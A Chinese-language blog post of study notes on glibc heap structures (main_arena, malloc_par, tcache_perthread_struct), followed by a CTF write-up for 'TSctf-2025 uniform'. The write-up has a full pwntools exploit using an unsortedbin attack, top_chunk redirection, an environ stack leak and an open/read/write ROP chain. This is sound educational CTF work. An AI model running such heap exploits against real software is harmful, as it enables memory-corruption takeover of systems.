堆管理结构的利用

在面试中被问到unsortedbin attack的写入值的意义,知道是main_areana+88的位置,但是具体的意义以及利用方式却没有深究过。记录一下对于两个堆管理结构的学习笔记:main_arena以及tcache_perthread_struct的结构学习

Main_arena

全局一个,位于glibc模块的内存附近,用于管理进程中主堆(用sbrk分配),是arena环形链表的头节点。arena环形链表的非头节点为thread arena,通过mmap分配。

libc中对于main_rena的定义

这里用的是2.35的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
struct malloc_state
{
__libc_lock_define (, mutex); //锁

/* Flags (formerly in max_fast). */
int flags; //标志位

int have_fastchunks; //快速判断fastbin是后有chunk

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS]; //各个size的fastbin首地址

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; //指向top_chunk

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder; //最近unsortedbin分配剩余的chunk地址

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; //记录bins的信息

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next; //指向arena链的后一个arena

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free; //管理未被线程使用的空闲 arena

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads; //记录使用此 arena 的线程数量

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

struct malloc_par {
/* Tunable parameters */
unsigned long trim_threshold; // 收缩堆的阈值
INTERNAL_SIZE_T top_pad; // top chunk的额外填充
INTERNAL_SIZE_T mmap_threshold; // 使用mmap的阈值
INTERNAL_SIZE_T arena_test; // arena测试值
INTERNAL_SIZE_T arena_max; // arena最大数量

#if HAVE_TUNABLES
/* Transparent Large Page support. */
INTERNAL_SIZE_T thp_pagesize; // 透明大页大小
INTERNAL_SIZE_T hp_pagesize; // 大页大小
int hp_flags; // 大页标志
#endif

/* Memory map support */
int n_mmaps; // 当前mmap映射数量
int n_mmaps_max; // 最大mmap映射数
int max_n_mmaps; // 历史最大mmap数
int no_dyn_threshold; // 是否禁用动态阈值

/* Statistics */
INTERNAL_SIZE_T mmapped_mem; // mmap分配的总内存
INTERNAL_SIZE_T max_mmapped_mem;// mmap内存的历史最大值

/* First address handed out by MORECORE/sbrk. */
char *sbrk_base; // sbrk堆的起始地址

#if USE_TCACHE
/* Maximum number of buckets to use. */
size_t tcache_bins; // tcache bin数量
size_t tcache_max_bytes; // tcache最大字节数
size_t tcache_count; // 每个bin的chunk数量
size_t tcache_unsorted_limit; // tcache未排序限制
#endif
};

/* There are several instances of this struct ("arenas") in this
malloc. If you are adapting this malloc in a way that does NOT use
a static or mmapped malloc_state, you MUST explicitly zero-fill it
before using. This malloc relies on the property that malloc_state
is initialized to all zeroes (as is true of C statics). */

static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,//未上锁
.next = &main_arena, //指向自己形成arena链表闭环
.attached_threads = 1 //初始只有主线程附在arena上
};

/* There is only one instance of the malloc parameters. */

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

这里还有个全局唯一的mp_,作为堆分配的配置策略以及记录arena的统计中心

这里定义main_arena用了C 语言的 指定初始化器,具体解释可以见https://blog.csdn.net/weixin_42258222/article/details/105221108

堆管理的结构实际上是malloc_state,而main_arena的定义其实就是初始化了一些malloc_state的成员,具体意义在注释中解释。

这里解释一下线程附着在arena的意义:

  • 线程第一次调用 malloc 时,glibc 会根据线程 ID 做哈希,从环形链表挑一个 arena;
  • 若该 arena 当前空闲attached_threads == 0),就把计数 +1,同时把线程的 tcb->arena 指针指向它——此时称线程“附着”到这块 arena
  • 线程后续再 malloc/free 都直接复用这块 arena,无需重新哈希
  • 线程退出或调用 malloc_consolidate 迁移时,计数减 1;减到 0 表示没有任何线程再用它,这块 arena 就可以被整个释放或回收进全局缓存。

这里详细解释一下其中的bin数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 索引布局:
bins[0] // 未使用
bins[1] = unsorted_bin.fd // unsorted bin 前向指针
bins[2] = unsorted_bin.bk // unsorted bin 后向指针

bins[3] = smallbin[1].fd // size 0x20 的前向指针
bins[4] = smallbin[1].bk // size 0x20 的后向指针
bins[5] = smallbin[2].fd // size 0x30 的前向指针
bins[6] = smallbin[2].bk // size 0x30 的后向指针
// ...
bins[125] = smallbin[62].fd // size 0x3f0 的前向指针
bins[126] = smallbin[62].bk // size 0x3f0 的后向指针

bins[127] = largebin[0].fd // large bins 开始...
// 一直到 bins[253]

tcache_perthread_struct

管理对应线程的tcache,存储在堆内存开头,自身作为一个chunk被管理,在第一次需要时动态创建,一般是内存中第一个chunk。2.35版本下的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];// 每个bin的chunk计数
tcache_entry *entries[TCACHE_MAX_BINS];// 每个bin的首个chunk
} tcache_perthread_struct;

利用实战

TSctf-2025的uniform,题目中给了固定大小的chunk无限次uaf。考虑打unsortedbin attack攻击,攻击buf数组(用来存堆指针的数组)中某一索引,实现对于main_arena中自top成员后0x80大小的控制权。修改top指针可以实现迁移top_chunk而达到任意地址分配,当然这里注意对应位置要符合16位地址对其以及pre_size位为1。这里题目刚好存在一个全局变量在buf数组前面,构造此buf为一个合法且足够分配0x90大小chunk的top_chunk size,然后再通过main_arena修改将top_chunk迁移并修复unsorted_bin,分配就能控制buf数组啦。

main_arena中构造后,使top指向buf

构造后的main_arena中top指向buf

成功将堆分配到buf字段

成功将堆分配到buf字段

通过envirno泄露栈地址并覆盖返回值为rop链即可。

Poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context.terminal = ['gdb', '-p']
context.log_level='debug'
context.arch = 'amd64'
p=process('./pwn')
libc=ELF('./libc-2.23.so')
# p=remote('10.21.162.149',64649)

def add(idx):
p.sendlineafter('choice>',b'1')
p.sendlineafter('idx:',str(idx).encode())


def edit(idx,content):
p.sendlineafter('choice>',b'3')
p.sendlineafter('idx:',str(idx).encode())
p.sendafter('description:',content)

def delete(idx):
p.sendlineafter('choice>',b'2')
p.sendlineafter('idx:',str(idx).encode())

def show(idx):
p.sendlineafter('choice>',b'4')
p.sendlineafter('idx:',str(idx).encode())

def debug():
gdb.attach(p)
pause()



add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)#防止合并
#泄漏libc以及heap地址
delete(1)
show(1)
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=leak_libc-0x3c4b78
log.success(hex(libc.address))
global_max_fast=libc.address+0x3c67f8
pop_rdi=libc.address+0x21112
pop_rsi=libc.address+0x202f8
pop_rdx_rsi=libc.address+0x1151c9
buf=0x602068 #存堆地址
delete(3)
delete(5)
show(3)
leak_heap=u64(p.recv(4).ljust(8,b'\x00'))
heap_base=leak_heap+0x130
log.success(hex(heap_base))
# edit(1,p64(leak_heap)+p64(heap_base))
# edit(3,p64(0)+p64(0x61)+p64(heap_base-0x130)+p64(heap_base+0x110))
# edit(5,p64(heap_base))
# add(1) 这里是尝试fsop
add(5)
add(3)
add(1)
#接下来开始攻击buf修改top_chunk
delete(1)
edit(1,p64(leak_libc)+p64(buf))
add(8)
#修复崩溃并且将top_chunk放到buf数组前面,
p.sendlineafter('choice>',b'1131796')
p.sendlineafter('challenge?\n',str(0xf1).encode())
p.sendafter('are!\n',b'\n')
edit(2,p64(buf-0x10)+p64(0)+p64(leak_libc)*2)
debug()
add(7)
#这次请求会请求到buf数组
#通过全局变量environ泄露栈地址
edit(7,p64(libc.sym['environ']))
show(0)
stack=u64(p.recv(6).ljust(8,b'\x00'))
target=stack-0xf0
log.success(hex(target))
edit(2,b'flag\x00')
file_adr=heap_base-0x90
#覆盖栈上的返回地址orw
edit(7,p64(target))
orw=flat([
pop_rdi,file_adr,pop_rdx_rsi,0,0,libc.sym['open'],pop_rdi,3,pop_rdx_rsi,0x100,file_adr,libc.sym['read'],pop_rdi,1,libc.sym['write']
])
#这里吐槽一下远程环境和本地不一样,open时的句柄来到了6,本地是正常的3
edit(0,orw)
p.sendlineafter('choice>',b'10')
p.interactive()